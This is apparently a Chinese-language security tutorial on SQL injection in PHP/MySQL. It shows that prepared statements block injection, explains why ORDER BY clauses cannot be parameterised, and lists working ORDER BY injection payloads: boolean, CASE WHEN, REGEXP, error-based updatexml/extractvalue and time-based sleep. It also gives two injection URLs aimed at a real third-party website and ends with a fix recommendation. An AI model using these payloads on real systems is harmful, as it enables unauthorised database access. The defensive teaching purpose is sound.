对于大多数的程序员而言,参数化查询、预编译处理能够解决大部分的注入问题,以PHP为例:

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where name = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $name = $_GET['name']; 

    $mysqli_stmt->bind_param("s",$name); 

    $mysqli_stmt->bind_result($num,$name,$class);  

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

这里bind_param类型

http://192.168.192.120/mysql.php?name=vincent

日志输出:

30 Connect  root@localhost on test

30 Prepare select num,name,class from user where name = ?

30 Execute select num,name,class from user where name = 'vincent'

30 Close stmt 

30 Quit

可以执行语句中参数是被双引号包裹的

http://192.168.192.120/mysql.php?name=vincent’ or ‘1’=’1

日志输出:

31 Connect  root@localhost on test

31 Prepare select num,name,class from user where name = ?

31 Execute select num,name,class from user where name = 'vincent\' or \'1\'=\'1'

31 Close stmt 

31 Quit

可以看到单引号被转义了。

 

再来试一下int,修改程序

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where num = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $num = $_GET['num']; 

    $mysqli_stmt->bind_param("i",$num); 

    $mysqli_stmt->bind_result($num,$name,$class); 

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

http://192.168.192.120/mysql.php?num=1 and 1=1

日志输出:

33 Connect  root@localhost on test

33 Prepare select num,name,class from user where num = ?

33 Execute select num,name,class from user where num = 1

33 Close stmt 

33 Quit

可以看到会自动将参数转成整形处理。

但是并非所有环境下都适合预编译处理,例如:

$sql = "select num,name,class from user order by ?";

$mysqli_stmt = $mysqli->prepare($sql); 

$name = $_GET['name']; 

$mysqli_stmt->bind_param("s",$name);

如果使用预编译处理,参数绑定为String类型,order by的参数会被单引号包裹,导致无法排序

mysql> select num,name,class from user order by name;

+------+------+-------+

| num  | name | class |

+------+------+-------+

|    2 | 66   | 88    |

|    1 | a    | b     |

|    2 | xx   | sds   |

+------+------+-------+

3 rows in set (0.00 sec)

mysql> select num,name,class from user order by 'name';

+------+------+-------+

| num  | name | class |

+------+------+-------+

|    1 | a    | b     |

|    2 | xx   | sds   |

|    2 | 66   | 88    |

+------+------+-------+

3 rows in set (0.00 sec)

所以排序无法使用预编译处理,经常是SQL注入常见点。

排序注入检测:

1)判断返回结果顺序不同
因为order by的值需要为唯一,而select 1 from INFORMATION_SCHEMA.SCHEMATA会返回多个,所以会产生报错。

mysql> select * from user order by if((1=2),2,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select * from user order by if((1=1),1,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
+------+------+-------+
| num | name | class |
+------+------+-------+
| 2 | s | x |
| 1 | xx | yy |
+------+------+-------+
2 rows in set (0.00 sec)

case when:

http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1.html
http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=2) then dateline else membernum end)-page-1.html

regexp:

mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=1,1,0x00)
);
+------+-----------+
| user | host |
+------+-----------+
| root | 127.0.0.1 |
| root | localhost |
+------+-----------+
2 rows in set (0.01 sec)
mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=2,1,0x00)
);
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

2)利用报错

updatexml:
mysql> SELECT user,host from mysql.user order by updatexml(1,if(1=1,user(),2),1)
;
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

extractvalue:
mysql> SELECT user,host from mysql.user order by extractvalue(1,if(1=1,user(),2)
);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

3)基于时间
注意容易造成拒绝服务

mysql> SELECT user,host from mysql.user order by if(1=1,sleep(2),1);
+------+-----------+
| user | host |
+------+-----------+
| root | localhost |
| root | 127.0.0.1 |
+------+-----------+
2 rows in set (4.00 sec)

修复建议:
使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。